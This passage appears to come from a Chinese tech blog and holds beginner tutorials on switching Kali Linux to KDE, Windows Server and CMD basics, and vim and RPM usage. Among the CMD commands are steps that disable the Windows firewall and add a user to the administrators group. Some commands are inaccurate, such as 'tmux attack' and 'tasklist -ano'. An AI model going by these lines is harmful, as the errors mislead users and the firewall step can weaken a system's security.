选择显示管理器当安装步骤将要求您选择显示管理器以针对您当前的 Dekstop 环境进行配置时,您将有两个选项Lightdm和SDDM,选择第二个,然后按Enter键. 在您的系统上安装了一些服务,当某些库需要重新启动时.如libpam、libc、libssl等.由于这些重启可能会导致系统的服务中断,通常在每次升级时都会提示您希望重启的服务列表.您可以选择此选项以避免提示;相反,所有必要的重启将为您自动完成,这样您就可以避免在每次库升级时被问到的问题. 更改 Kali 桌面环境更新 x-session-manager确保系统能够完美识别更改,并且在重新启动系统后我们将拥有 KDE;更新 Kali Linux 的默认 x-session-manager. 1sudo update-alternatives --config x-session-manager 您将看到所有可用的桌面环境及其优先级,默认情况下,每当我们启动 Kali Linux 时,都会选择 Xfce4 作为 X-session.因此,要将桌面环境更改为 Kali 上的 KDE,只需输入分配给 Plasma-X11 的编号.例如,这里选择数字为1来启动 Plasma,因此我们输入相同的值并按 Enter 键. 重启你的 Kali KDE 系统安装完成后重新启动系统,这一次您将在 Kali Linux 上看到 KDE 等离子登录屏幕. 卸载 XFCE 或 KDE(可选)现在,您的 Kali Linux 上有两个桌面环境,如果您想删除其中任何一个,可以按照以下命令操作:请记住,不要同时运行这两个命令,否则您将在 Kali Linux 上留下命令行界面.删除 XFCE 1sudo apt purge --autoremove kali-desktop-xfce 删除 KDE 1sudo apt purge --autoremove kali-desktop-kde 运行上述任何命令后,重新启动您的 VM、台式机或笔记本电脑. 安装 KDE 主题这是KDE安装完毕之后的几款默认主题 右下角获取新的全局变量自行安装即可 tmux使用123456789101112# 查看所有会话tmux ls# 进入会话tmux attack -t id# ctrl+B唤起tmux控制台shift+引号 # 上下切分shift+% # 左右切分alt+方向键 # 改变窗口大小Z # 最大化/最小化方向键 # 切换窗口D # 分离会话X # 关闭当前会话 普通快捷键123456ctrl+A # 回到命令的开头ctrl+E # 回到命令的结尾alt+B # 按单词向前移动alt+F # 按单词向后移动ctrl+u # 从光标处删到头ctrl+k # 从光标处删到尾","tags":["Kali","Linux","计算机基础"]},{"title":"三. Windows Server从入门到精通","path":"/2020/06/04/161f7eae/","content":"总字符数: 13.85K 代码: 2.50K, 文本: 6.79K 预计阅读时间: 40 分钟 操作系统 定义 ​\t一组主管并控制计算机操作、运用和运行硬件、软件资源和提供公共服务来组织用户交互的相互关联的系统软件程序.根据运行的环境,操作系统可以分为桌面操作系统,手机操作系统,服务器操作系统,嵌入式操作系统等. 操作系统组成部分 系统调用:是操作系统提供给程序设计人员的一种服务 内核:是操作系统的核心 内核是操作系统最基本的部分 操作系统的主要特征 特征 描述 并发 支持多进程/线程同时处理,单核通过时间分片,多核实现物理并发. 共享 资源可被多进程使用,包括实时共享和虚拟共享. 虚拟 物理资源可被抽象成虚拟单位,增加系统灵活性和效能. 随机 响应并处理随机事件如设备中断和用户输入,事件发生顺序不可预测. 异步 进程不必遵循严格顺序执行,系统管理非线性和不确定性行为. Vmware虚拟机里可以装虚拟机吗?是否可行?​\t从理论上讲,嵌套虚拟机(即在一个虚拟机内部运行另一个虚拟机)是完全可行的.这取决于主机硬件的计算能力和虚拟化技术的支持.如果主机硬件(如CPU和内存)足够强大,它可以支持多层次的虚拟化.然而,实际上这样做可能会遇到性能瓶颈,因为每一层的虚拟化都会引入额外的开销.一定行吗? 虽然理论上可行,但在实践中不一定总是如预期那样工作.许多虚拟化产品特性,尤其是那些依赖于硬件辅助的功能(如Intel VT-x或AMD-V),可能在嵌套虚拟化环境中无法有效工作或者根本不可用.这可能会限制某些应用程序的运行,或者导致性能不佳.有意义吗?​ 嵌套虚拟化具有实际应用价值,特别是作为开发和测试工具.例如,开发人员可以利用桌面虚拟化应用来创建实验环境,测试软件的新特性,如测试新版本的QQ.此外,嵌套虚拟化也允许测试和学习新的或更新的虚拟化产品,而不会影响物理主机的稳定性.您提供的实例,在VMware中运行配备Hyper-V的Windows 8.1,就是一个很好的实践案例,表明嵌套虚拟化可以用来探索和学习虚拟化技术的不同方面. 初始windows什么是Windows?Microsoft Windows: 微软公司研发的操作系统家族 简介: 美国微软公司研发的操作系统,首次发布于1985年.最初,Windows仅作为Microsoft-DOS的图形用户界面扩展. 发展: 经过多年的不断更新和升级,Windows系统变得更加用户友好,并逐渐成为全球最受欢迎的操作系统之一. 技术演进: 图形用户界面(GUI): Windows采用的图形化界面,与以往基于文本的DOS指令输入相比,提供了更加直观和易于使用的操作体验. 系统兼容性: 随着电脑硬件和软件技术的进步,Windows系统也相应升级,从最初的16位架构发展到32位,再到现在广泛使用的64位架构. 版本历史: 早期版本: Windows 1.0 广为人知的版本: Windows 95、Windows 98 新千年版本: Windows ME、Windows 2000、Windows XP 现代版本: Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10 企业级: Windows Server系列 windows账号Windows用户账号和计算机管理(本地) 用户账户特点: 不同的用户身份拥有不同的权限. 每个用户账号包含一个名称和一个密码. 用户账户拥有唯一的安全标识符(SID),这是一个用来唯一标识用户、组和账号的号码.该标识符在账号首次创建时生成,并在网络上唯一. 用户账号类型: Administrator(管理员账户) DefaultAccount(默认账户) Guest(访客账户) WDAGUtilityAccount(用于Windows Defender应用程序守护) 用户账户管理工具: 系统工具 任务计划程序 事件查看器 文件共享管理 本地用户和组管理 性能监视 高级账户管理操作: 使用 whoami /user 命令查看当前用户的SID. 通过 secpol.msc 打开本地安全策略进行策略配置. 特别指令: C:\\Users\\>whoami:显示当前的用户信息. 用户名:desktop-s:示例用户名. 权限 Windows常用用户账号及其权限等级: SYSTEM: 本地计算机上拥有最高权限的用户账户,为系统核心组件及服务访问计算机资源提供全面权限. Administrator: 默认的系统管理员账户,拥有几乎所有权限,可进行系统设置和更改. User: 普通用户,拥有进行日常操作所需的权限,但不能进行影响其他用户或系统安全的操作. Guest: 来宾用户,权限最少,通常只用于非常基础的操作,且默认情况下是禁用的. 详细权限说明: SYSTEM: 通常不由普通用户使用,它允许操作系统及其服务以最高权限运行,确保系统稳定和安全. Administrator: 可以安装软件、更改系统设置、管理其他用户账号和权限等. Guest: 通常用于临时访问,不允许更改系统设置或安装新软件. Windows Server ​\tWindows Server 是一个专门为企业级用户和网络服务设计的操作系统,它由微软公司开发,为用户提供了一系列的服务和应用程序,如网络资源管理、Web服务器能力、用户和组管理、消息传递、文件和打印服务等.Windows Server 提供了不同的版本,以满足各种规模和需求的企业,比如 Windows Server 2012、2016、2019 以及最新的 Windows Server 2022. 每个版本的 Windows Server 都在前一个版本的基础上增加了新的功能和改进,例如更好的安全性、改进的虚拟化技术、更方便的管理工具和更高的性能.Windows Server 在企业环境中通常用作域控制器(运行Active Directory来管理用户和资源)、文件和打印服务器、Web服务器(运行IIS)、邮件服务器(运行Exchange Server)及其他专业应用服务器. Windows Server 的特点包括但不限于: 用户和资源管理 - Active Directory是Windows Server的一个核心组件,可以管理网络上的用户帐户和资源. 虚拟化支持 - Hyper-V允许用户在单个物理服务器上创建和管理多个虚拟机. 安全性功能 - 提供了多种安全功能,包括加密服务、访问控制和防病毒集成. 存储解决方案 - 包括不同的存储技术,比如文件系统、存储空间直通和数据去重. 网络服务 - 包括DNS、DHCP和IPAM等网络基础设施服务. 远程访问 - 提供了远程桌面服务,允许用户远程连接和使用服务器资源. Web和应用平台 - Windows Server能够托管网站、应用程序和服务,如使用IIS提供Web服务. 自动化和脚本工具 - PowerShell是一个强大的脚本语言和命令行接口,用于自动化和管理任务. 这里推荐一个博客专栏,对于Windows Server讲的很详细 https://blog.csdn.net/NOWSHUT/article/details/127236823https://blog.csdn.net/NOWSHUT/article/details/127236823 目录 系统目录: 此电脑 > 本地磁盘 (C:) > Windows: Windows操作系统的主目录,包含了整个系统运行所需的文件和程序. 关键子目录: All Users目录: 所有用户共享的数据存储位置,包括共用的开始菜单、桌面设置等. Command目录: 包含Windows和DOS环境下常用的命令行工具,例如chkdsk(检查磁盘)、format(格式化磁盘)、fdisk(磁盘分区工具)等. Config目录: 存放Windows系统的硬件配置文件,用于系统启动和硬件识别 Desktop目录: 存放用户桌面上的所有图标和快捷方式,这些文件与桌面上显示的图标动态同步. Downloaded Program Files目录: 通常为Internet Explorer下载的ActiveX控件和Java applets的存放地点. System32目录: Windows系统的核心文件夹,包含系统文件和硬件驱动程序.是系统稳定和功能实现的关键所在. 重要的系统文件夹: System和System32:这两个目录对于Windows的运行至关重要,它们包含了操作系统的核心文件和硬件驱动程序等信息. SAM文件内有密码信息 当然,可以为您提供一个综合解释,结合了上述两段内容,对于这些关键的Windows系统文件和目录: windows\\System32\\config\\SAM:这是Windows系统中非常关键的文件,因为它存放了加密的用户账号密码信息.具体来说,它是Security Accounts Manager (安全账户管理器) 的数据库,记录着每个用户的账户信息、加密的密码哈希值以及安全描述符等敏感数据.出于安全考虑,这些信息都不会以明文形式存储,而是通过加密保护. windows\\System32\\drivers\\etc\\hosts:这个文件对于网络配置至关重要.它是一个简单的文本文件,允许用户自定义域名到IP地址的映射.例如,在文件中,您可能会看到如下内容: 123127.0.0.1 localhost192.168.1.10 myprinter.local93.184.216.34 example.com 这样,当尝试访问example.com时,系统会优先查询hosts文件而不是发送请求到DNS服务器.这就是为什么恶意软件可能会试图修改这个文件以改变域名解析结果,进行网站劫持. 事件查看器日志文件:Windows事件查看器记录了多种类型的系统日志,用以追踪应用程序、安全、系统等方面的事件.例如,安全日志可能会记录用户的登录事件,展示出登录用户的名称、域、登录ID和登录类型. 123456安全性-成功审核:用户登录成功:用户名: JohnDoe域: WIN-DESKTOP登录ID: 0x20F3D登录类型: 2 Program Files目录:这是Windows系统默认的应用程序安装目录.在这里,各种软件会存放它们的执行文件(.exe)和动态链接库文件(.dll),这些文件是软件运行的必要组件.以”Feige”软件为例 12C:\\Program Files\\Feige\\Feige_setup.exe - 安装程序C:\\Program Files\\Feige\\FeigeShlExt64.dll - 应用程序的一个组件或插件 文件权限 完全控制(Full Control): 用户可以对文件或文件夹做任何事情,包括修改权限、更改所有者、删除、读取、写入、执行等.这是最高级别的权限,通常只为系统管理员或特定需要的用户组设置. Authenticated Users: 通过系统认证的所有用户. SYSTEM: 指代系统账户,它具有操作系统内几乎所有权限,用于执行系统任务. Administrators (DESKTOP-S5SQ6LB\\Administrators): 特定计算机(在这个例子中为DESKTOP-S5SQ6LB)的管理员组. 修改(Modify): 用户可以修改或删除文件和文件夹,也可以写入新的数据,但不能更改权限或所有者. Users (DESKTOP-S5SQ6LB\\Users): 特定计算机的普通用户组,它包含了该计算机上的几乎所有用户账户. 读取和运行(Read & Execute): 用户可以运行文件中的程序,阅读文件内容,浏览和访问文件夹中的项目,但不一定能修改它们. 列出文件夹内容(List Folder Contents): 与”读取和运行”类似,但主要是针对文件夹结构,允许用户查看文件夹内的项目列表. 读取(Read): 用户可以查看文件内容以及文件夹中的项目,还可以查看文件或文件夹的属性、所有者和权限,但不能做出任何更改. 写入(Write): 用户可以在文件夹中创建新文件或文件夹,修改文件夹的属性,但不允许删除文件或文件夹. 服务 服务:(端口区分服务)服务是一种应用程序类型,它在后台运行.服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、Web服务器、数据库服务器以及其他基于服务器的应用程序. 服务其实就是定义理论计算机的一些功能. 要打开服务管理器,您可以按照以下步骤操作: 使用快捷键 Win+R 打开”运行”对话框. 输入 services.msc 并按 Enter 键. 这样就会打开Windows的服务管理控制台,您可以查看和管理系统中的所有服务.服务的状态可以是运行中、已停止、暂停、禁用等. 服务的作用可以归纳为: 功能启用:服务决定了计算机上哪些功能可以使用.例如,如果打印机服务被禁用,用户将无法打印文档. 功能对应性:不同的服务提供不同的功能.比如,DHCP 服务负责自动分配IP地址,Print Spooler 服务管理打印队列. 资源共享:服务使得计算机可以有效地共享其资源.例如,文件共享服务允许网络上的其他计算机访问特定的文件夹和文件. 常见服务Web服务: 允许计算机托管网站和Web应用程序,通常使用HTTP(超文本传输协议)或HTTPS(安全超文本传输协议)来访问.在Windows上,这通常是指Internet Information Services (IIS).DNS服务(Domain Name System): 解析域名到IP地址,是使得用户可以通过人类可读的域名访问网站而不需要记忆复杂的IP地址的服务.DHCP服务(Dynamic Host Configuration Protocol): 自动为网络上的设备分配IP地址、子网掩码、默认网关和DNS服务器信息等网络配置信息.邮件服务: 处理、发送和接收电子邮件.在Windows服务器上,这可能指的是Microsoft Exchange Server或其他邮件服务器软件.Telnet服务: Telnet是一个旧的网络协议,用于提供文本界面远程登录服务,允许用户通过网络连接到远程计算机.由于安全性较低,现在更推荐使用SSH.SSH服务(Secure Shell): 是一个加密协议,用于安全地访问远程计算机.SSH提供了安全的网络服务、远程命令执行等功能.FTP服务(File Transfer Protocol): 用于在网络上的计算机之间传输文件.FTP可以用于上传和下载数据,但它不加密传输的数据,因此被认为不如SFTP或FTPS安全.SMB服务(Server Message Block): 是一种网络文件共享协议,允许在局域网络内的计算机之间共享文件和打印机等资源.在Windows环境中,这通常与文件和打印共享设置相关联. 进程 ​\t进程是计算机中的一个执行实例,是操作系统分配资源和调度执行的基本单位.当你运行一个程序时,系统为它创建一个进程,进程会拥有运行该程序所需的所有资源,包括内存、处理器时间、磁盘空间和输入输出设备.每个进程都有一个独一无二的进程标识符(PID). 一个进程通常包括以下几个部分: 代码区域:存储可执行程序的代码. 数据区域:存储变量和动态分配的内存. 堆栈区域:包含执行运行时的函数参数、局部变量和返回地址. 进程能够执行任务,处理数据,并与其他进程进行通信.操作系统通过进程管理来确保平稳有序的执行多个任务,这包括进程创建、执行、暂停和终止,以及进程间通信和同步.进程管理是现代计算机操作系统中最复杂和关键的部分之一. conime.exe: 与输入法编辑器有关的系统进程,能够确保正常调整和编辑系统中的输入法 csrss.exe: 客户端/服务器运行时子系统(Client/Server Runtime Subsystem),负责管理Windows图形显示,处理用户与系统交互的基础界面任务. ctfmon.exe: 与微软的文本服务框架有关并负责输入法的管理,确保语言栏能正常显示在任务栏中. explorer.exe: Windows资源管理器,是Windows图形用户界面的核心组成部分,提供桌面环境、任务栏、文件管理等功能. lsass.exe: 本地安全权限管理系统(Local Security Authority Subsystem Service),负责验证用户登录Windows的过程. services.exe: 服务控制管理器(Service Control Manager),负责启动、停止和管理后台服务的进程. smss.exe: 会话管理子系统(Session Manager Subsystem),负责管理Windows用户会话的启动过程. svchost.exe: 服务主机进程(Service Host),用于加载由DLL文件实现的服务. system: 系统进程,负责管理系统级别的功能和页面文件(虚拟内存). System Idle Process: 系统空闲进程,当CPU处于空闲状态时会运行,不是实际的进程,而是一个用于计算空闲CPU资源的指示器. winlogon.exe: Windows NT登录程序,负责管理用户的登录和注销过程. 注册表 ​\t注册表是Microsoft Windows操作系统中的一个重要组件,它用于存储系统设置和配置信息.注册表包含了与操作系统、安装的应用程序、系统硬件和用户偏好设置相关的信息,这些信息组织在一个层次化的数据库中. 注册表主要由以下几个”根键”构成: HKEY_CLASSES_ROOT (HKCR):存储了文件类型关联信息. HKEY_CURRENT_USER (HKCU):包含当前登录用户的配置信息. HKEY_LOCAL_MACHINE (HKLM):包含计算机的硬件和软件配置信息. HKEY_USERS (HKU):包含所有用户的配置信息. HKEY_CURRENT_CONFIG (HKCC):包含当前硬件配置信息. HKEY_PERFORMANCE_DATA:存储性能数据. 注册表的打开方式如下: 在大多数版本的Windows操作系统中,可以通过以下步骤打开注册表编辑器(Regedit): 按下Win+R组合键打开”运行”对话框. 输入”regedit”然后按Enter键或点击”确定”. 这会打开注册表编辑器,你可以浏览和修改注册表项. 修改注册表之前,务必谨慎行事.不正确的修改可能会导致系统不稳定甚至无法启动.在做任何更改之前,建议先备份相关的注册表项. DOS命令 ​\tDOS(全称为Disk Operating System,被称为磁盘操作系统)是计算机上的一种基于磁盘管理的操作系统.它允许用户直接操作和管理磁盘上的文件.大多数计算机在出厂时会自带DOS操作系统. MS-DOS ​\tMS-DOS,即Microsoft Disk Operating System的简称,是由美国微软公司(Microsoft)提供的磁盘操作系统版本.在Windows 95发布之前,DOS是个人计算机的基础,而MS-DOS是最广泛使用的版本. DOS充当了人与计算机硬件之间的桥梁,是一层封装硬件复杂性的”外壳”. 使用DOS时,用户不必深入理解硬件结构或记忆复杂的机器指令.通过简单的类自然语言的DOS命令,可以轻松完成大多数日常操作. 此外,DOS有效地管理各种软硬件资源,并进行合理调度,确保软件和硬件在其监控和管理下有序工作. DOS和Windows的区别本质DOS和Windows都是微软公司推出的操作系统.Windows可以视为DOS的图形界面扩展或后继版本,相比于DOS,Windows在用户接口和多任务处理上有了质的飞跃. DOS特点实模式操作系统.仅支持单任务单用户.文字交互界面(非图形化).快速响应操作.需要通过特定的DOS命令进行操作,例如远程操作等高级功能.Windows特点图形用户界面(GUI).支持多任务多用户.简化操作,主要通过鼠标点击进行.由于多任务特性,可能存在安全隐患. 关键区别Windows中的cmd命令提示符不是真正的DOS,而是Windows在图形环境中模拟的DOS环境.它用于执行某些高级命令,这些命令在纯DOS环境中更高效.真正的DOS是一个独立的操作系统,而非Windows系统的一部分. 命令和批处理在早期的操作系统中,DOS命令和批处理命令是用于执行操作的命令集合.下面详细解释了它们之间的主要区别: DOS命令DOS命令是一系列可以在DOS操作系统中直接执行的指令.它们用于在命令行界面(CLI)下执行诸如文件管理、系统检查等特定操作. 例子: DIR:显示目录内容. COPY:复制一个或多个文件到另一位置. DOS命令在执行完毕后,控制权会返回到命令行,等待用户输入新的命令. 批处理命令批处理命令是将一系列DOS命令按照特定顺序组合在一个文本文件中,这个文件通常具有扩展名.bat或.cmd. 特性: 自动化: 通过执行批处理文件,可以自动连续执行所有列出的命令. 控制结构: 包括条件语句、循环等,允许根据特定条件执行或跳过某些命令. 方便: 用户可以通过单次执行批处理文件来完成复杂的任务序列,而不必手动输入每个命令. 总结DOS命令适用于单次任务,方便快捷,而批处理文件则适用于需要一系列操作的批量处理任务,可以实现高效的任务自动化.批处理命令在需要重复性任务处理时尤其有用,它们显著提高了效率,减少了手动执行命令的需要. Windows 命令行操作指南 ​\t在Windows操作系统中,命令行(CMD)提供了一组丰富的命令,用于执行各种任务,如文件管理、系统状态查询和网络操作等.以下是一些常用的DOS命令和批处理命令 文件和目录操作命令1. 查看目录内容 (dir)123dir [盘符:][路径][文件名] [参数]# 例如,查看D盘根目录下所有文件:dir D:\\ 2. 创建新目录 (md/mkdir)123md [盘符][路径]# 例如,创建一个名为TEMP的新目录:md TEMP 3. 删除目录 (rd/rmdir)123rd [盘符][路径]# 注意:仅能删除空目录,不能删除当前目录.rd TEMP 4. 进入指定目录 (cd)1234567cd [路径]# 例如,进入HAPPY目录:cd HAPPY# 回到根目录:cd \\# 返回上一层目录cd.. 5. 拷贝文件 (copy)123copy [源目录或文件] [目的目录或文件]# 注意:目的目录必须存在.copy C:*.COM D:\\ 6. 移动文件 (move)123move [源目录或文件] [目的目录或文件]# 例如,移动文件到另一个目录:move C:\\example.txt D:\\folder 7. 删除文件 (del)12345del [盘符][路径][文件名] [参数]# 例如,删除C盘DATA目录下所有后缀为.BAK的文件:del C:\\DATA*.BAK# 使用'/P'参数在删除前进行确认:del /P C:\\DATA*.BAK 8. 重命名文件或目录 (ren/rename)123ren [原名] [现名]# 例如,重命名文件:ren oldname.txt newname.txt 9. 查看文本文件内容 (type)123type [文件名]# 例如,查看文件内容:type example.txt 10. 新建文本文件1234# 使用以下命令之一新建文件:echo.>file.txttype nul>newtest.txtecho 文件内容>new.txt 网络工具命令11. 查看本机IP (ipconfig)12ipconfig # 显示简单信息ipconfig /all # 显示详细信息 12. 测试网络连通性 (ping)12ping [ip或主机名] # 基本用法ping -t [ip或主机名] # 持续ping直到停止 13. 查看网络连接状态 (netstat)1netstat -ano # 查看网络连接、状态以及对应的进程ID 系统操作命令14. 清屏 (cls)1cls 15. 查看系统日期和时间1echo %date% %time% 16. 显示操作系统版本 (ver)1ver 17. 关机命令 (shutdown)12345shutdown -s # 关机shutdown -r # 重启shutdown -l # 注销shutdown -h # 休眠shutdown -a # 取消关机或重启计划 18. 退出命令行环境 (exit)1exit 其他实用命令19. 修改CMD窗口标题和颜色 (title, color)12title 新的标题名color 颜色值 20. 查看和设置环境变量 (set)12set # 显示所有环境变量set variable # 显示指定的环境变量 21. 创建批处理文件示例12345678# 在桌面创建批处理文件'hah.bat',内容为打印信息cd desktopcopy con hah.bat@echo offecho =====================echo 中国真伟大!!!echo =====================^Z # 使用Ctrl + Z来结束并保存文件 进阶网络命令22. 查询DNS信息 (nslookup)1nslookup www.example.com 23. 追踪路由 (tracert)1tracert [目标IP或域名] 24. 生成目录树 (tree)1tree /F /A 25. 文件隐藏与属性设置 (attrib)12attrib +h [文件或文件夹名] # 隐藏attrib +s [文件或文件夹名] # 系统文件 高级命令行技巧26. 使用find和findstr进行文本搜索12find "[字符串]" [文件名]findstr /r [正则表达式] [文件名] 27. 查看系统详细信息 (systeminfo)1systeminfo 28. 切换用户并以管理员权限运行 (runas)1runas /user:administrator cmd 29. 显示当前登录用户12net config workstationwhoami 30. 用户和权限管理123net usernet user 用户名 密码 /add /del # 添加/删除用户net localgroup administrators username /add # 提升用户至管理员 31. 进程管理123tasklisttasklist -ano # 显示进程开放的端口taskkill /f /t /im xx.exe # 杀死进程 32. 服务管理12net start # 查看运行的服务net stop [服务名] # 停止服务 33. 简单文件操作12345echo hello > hello.txt # 创建并写入文件md directoryname # 创建目录rd directoryname # 删除目录ren oldname newname # 重命名文件或目录del filename # 删除文件 编码和系统诊断34. 更改命令行窗口编码12chcp 65001# 设置为UTF-8编码,解决乱码问题 35. 查看主机名 (hostname)12hostname# 显示当前计算机的主机名 36. 查看或修改路由表 (route)1234route print# 打印路由表route add [目的网络] mask [子网掩码] [网关]# 添加静态路由表项 37. 查看或修改ARP缓存 (arp)12arp -a# 显示当前ARP缓存表 38. 查看网络共享 (net view)12net view# 显示本地网络上的计算机和网络资源 39. 配置网络 (netsh)1234netsh firewall show state# 显示当前防火墙状态netsh firewall set opmode disable# 关闭Windows防火墙 40. 网络连接测试 (telnet)12telnet [目标IP或域名] [端口]# 通过Telnet协议测试与远程系统的TCP连接","tags":["Windows Server","DOS","计算机基础"]},{"title":"二. Linux从入门到精通(下)","path":"/2020/06/03/46ba4e0f/","content":"总字符数: 29.14K 代码: 13.36K, 文本: 6.51K 预计阅读时间: 1.44 小时 Linux的文本编辑器VI/VIM VI编辑器是UNIX和Linux系统下标准的文本编辑器,而且对于所有UNIX及Linux系统的版本而言,vi编辑器都是完全相同的.Vim是vi的升级版本,它在vi的基础上增加了一些功能,但在基础命令上两者是完全兼容的. VI/VIM主要用于建立、编辑、显示文本文件.它与其他编辑器不同,因为它没有菜单,只有命令.在Linux系统下,vi编辑器是全屏幕文本编辑的代表,提供了丰富的编辑功能.虽然vi编辑器相对来说比较简陋,对初学者来说可能不太友好,但在Linux中,vi编辑器的作用非常重要,特别是在配置各种服务器时,修改配置文件时非常实用.在这些场景中,熟练使用vi编辑器可以提高工作效率. Vim编辑器三种模式 命令模式(command mode) 插入模式(Insert mode)/[输入模式]、 底线命令模式(last line mode)/[编辑模式 ] 1. 命令模式只要启动 vi/vim [文件名],便进入了命令模式.在这个状态下,敲击键盘动作会被Vim识别为命令,而非输入字符.例如,此时按下i并不会输入一个字符,而是被当作了一个命令. 以下是常用的几个命令: i 切换到输入模式,以输入字符. x 删除当前光标所在处的字符. : 切换到底行命令模式,在最底下一行输入命令. 2. 输入模式在命令模式下按下i就进入了输入模式. 在输入模式中,可以使用以下按键: 字符按键以及Shift组合,输入字符 ENTER,回车键,换行 BACKSPACE,退格键,删除光标前一个字符 DEL,删除键,删除光标后一个字符 方向键,在文本中移动光标 HOME/END,移动光标到行首/行尾 Page Up/Page Down,上/下翻页 Insert,切换光标为输入/替换模式,光标将变成竖线/下划线 ESC,退出输入模式,切换到命令模式 3. 底线模式/编辑模式在命令模式下按下冒号(:)就进入了底线命令模式. 底线命令模式可以输入单个或多个字符的命令,可用的命令非常多. 在底线命令模式中,基本的命令有(已经省略了冒号): q 退出程序 w 保存文件 按ESC键可随时退出底线命令模式. VI常规操作1. vi的启动和退出直接输入命令 vi 不指定文件名,由于这是一个没有命名的空文件,会显示 vi 的版本信息. 或者直接使用 vi 打开文件,如果文件存在,则打开该存在的文件;如果文件不存在的话,将以我们指定的参数作为文件名. 输入 q! 是强制退出,同时没有保存当前文件内容.如果文件没有进行修改,或者已经保存完毕,也可以使用 q 退出.保存退出使用 wq,保存强制退出使用 wq!. 命令 描述 vi filename 打开或者新建一个文件,并将光标置于第一行的首部 vi -r filename 恢复上次VI打开时崩溃的文件 vi -R filename 把指定的文件以只读方式放入编辑器中 vi + filename 打开文件并将光标置于最后一行的首部 vi +n filename 打开文件,并将光标置于第n行的首部 vi +/pattern filename 打开文件,并将光标置于第一个与pattern匹配的位置 vi –c command filename 在对文件进行编辑前,先执行指定的命令 VIM常用操作1. 插入命令 命令 作用 模式 a 在光标所在字符后插入 命令模式 A 在光标所在行尾插入 命令模式 i 在光标所在字符前插入 命令模式 I 在光标所在行行首插入 命令模式 o 在光标下插入新行 命令模式 O 在光标上插入新行 命令模式 2. 定位命令 命令 作用 模式 :set nu 显示行号 底线模式 :set nonu 取消行号 底线模式 gg | G 到第一行 | 到最后一行 命令模式 nG 到第n行 命令模式 :n 到第n行 底线模式 $ 移至行尾 命令模式 0 移至行首 命令模式 光标方向的移动,除了可以使用方向键,还可以使用以下命令: 向上移动光标:k 向左移动光标:h 向右移动光标:l 向下移动光标:j 翻页命令 Ctrl+F向前翻整页 Ctrl+U向前翻半页 Ctrl+B向后翻整页 Ctrl+D向后翻半页 3. 删除命令 命令 作用 模式 x 删除光标所在处字符 命令模式 nx 删除光标所在处后n个字符 命令模式 dd 删除光标所在行,ndd删除n行 命令模式 dG 删除光标所在行到文件末尾内容 命令模式 D 删除光标所在处到行尾内容 命令模式 :n1,n2d 删除指定范围的行 例如:10,12d 底线模式 4. 复制和剪切命令 命令 作用 模式 yy 复制当前行 命令模式 nyy 复制当前行以下n行 例如 3yy 命令模式 dd 剪切当前行 命令模式 ndd 剪切当前行以下n行 命令模式 p、P 粘贴在当前光标所在行下或行上 命令模式 5. 替换和取消命令 命令 作用 模式 r 取代光标所在处字符 ,按r后输入替换的字符 命令模式、底线模式 R 从光标所在处开始替换字符,按Esc结束 命令模式 u 取消上一步操作 命令模式 底线模式下 : r 文件名 可以导入文件中的内容到光标位置r /etc/issue: !命令 可以在不退出VIM的情况下输入命令!which ls: r !date 把时间插入到vim中 6. 搜索和搜索替换命令 命令 作用 模式 / 要查找的字符窜 搜索指定字符串 搜索时忽略大小写 :set ic 、set noic 命令模式 n(按键) 搜索指定字符串的下一个出现位置 命令模式 :%s/old/new/g 全文替换指定字符串 底线模式 :n1,n2s/old/new/g 在一定范围内替换指定字符串 底线模式 替换范围 %s 全文替换 起始行,终止行s /要替换的字符串/替换的新的字符串/g(g不询问,c询问操作) 7. 保存和退出命令 命令 作用 模式 :w 保存修改 底线模式 :w new_filename 另存为指定文件 底线模式 :wq 保存修改并退出 底线模式 ZZ 快捷键,保存修改并退出或shift+zz 命令模式 :q! 不保存修改退出 底线模式 :wq! 强行保存修改并退出(文件所有者及root可使用) 底线模式 Linux软件包管理软件包管理简介 软件包在Linux系统中是程序安装和管理的基础.根据软件包的类型,可以分为源码包和二进制包,下面是对这两种包的详细介绍及其优缺点. 源码包 源码包通常包含C语言或其他编程语言的源代码,允许用户阅读和修改代码.源码包的安装过程比较慢,因为它需要在本地系统上编译成二进制文件才能运行,类似于Windows系统的安装过程.优点:开源:用户可以自由修改源代码. 可定制化:用户可以根据需求选择需要的功能.系统适配性高:编译安装可优化软件性能,提高系统稳定性. 卸载方便:通常可以通过简单的命令来完全卸载.缺点:安装步骤繁琐:尤其是安装大型软件集合时,容易出错. 安装时间长:编译过程可能需要较长时间.错误处理困难:新手可能难以解决编译过程中的错误.二进制包 二进制包是经过编译的包,其中最常见的类型是RPM包,它是许多Linux发行版的默认包格式.优点:简单快速:包管理系统允许通过简单的命令快速安装、升级、查询和卸载软件.安装速度快:比源码包安装快很多,因为不需要编译.缺点:源代码不可见:用户无法查看或修改源代码. 功能选择不如源码包灵活:用户不能自定义功能和选项.依赖问题:软件之间的依赖关系可能导致一系列的依赖性安装问题. RPM包管理-rpm命令管理RPM包命名原则RPM包的命名遵循一定的原则,以确保用户可以从文件名中快速得到关于软件包的详细信息.以下是RPM包命名原则的详细解析: 12345678包全名: httpd-2.2.15-15.el6.centos.1.i686.rpm包分解:- httpd 软件包名称- 2.2.15 软件版本号- 15 软件发布的次数(修订版本)- el6.centos 适合的Linux发行版(el6代表Enterprise Linux 6,centos表明是为CentOS定制)- i686 适合的硬件架构(i686为32位系统)- .rpm 文件扩展名,表示这是一个RPM包 每部分的具体含义如下: 软件包名称 (httpd): 这是软件包的基本名称,通告了用户这是哪个软件的包. 软件版本号 (2.2.15): 表示该软件包含的软件版本,有助于用户了解软件的功能和兼容性. 软件发布次数 (15): 该数字通常代表软件包维护者的修订次数,有时候也包含安全补丁和重要更新. 适合的Linux发行版 (el6.centos): 这表明了软件包是为哪个Linux发行版或版本定制的,有时候包括了适合的系统版本. 适合的硬件架构 (i686): 告诉用户这个包是为哪种CPU架构编译的,例如i686通常指32位架构的处理器. RPM包扩展名 (.rpm): 明确这是一个RPM格式的软件包,告诉用户可以使用RPM兼容的包管理器进行安装和管理. RPM包依赖性 树形依赖:a–>b–>c(最典型的依赖) 环形依赖:a–>b–>c–>a 模块依赖:模块依赖查询网站 https://jiangjiyue.github.io/www.rpmfind.netwww.rpmfind.net 包全名与包名 包全名:操作的包是没有安装的软件包时,使用包全名.而且要注意路径(安装) 包名:操作已经安装的软件包时,使用包名.是搜索/var/lib/rpm/中的数据库(执行、卸载) RPM安装123456rpm -ivh 包全名选项: -i(install) 安装 -v(verbose) 显示详细信息 -h(hash) 显示进度 --nodeps 不检测依赖性 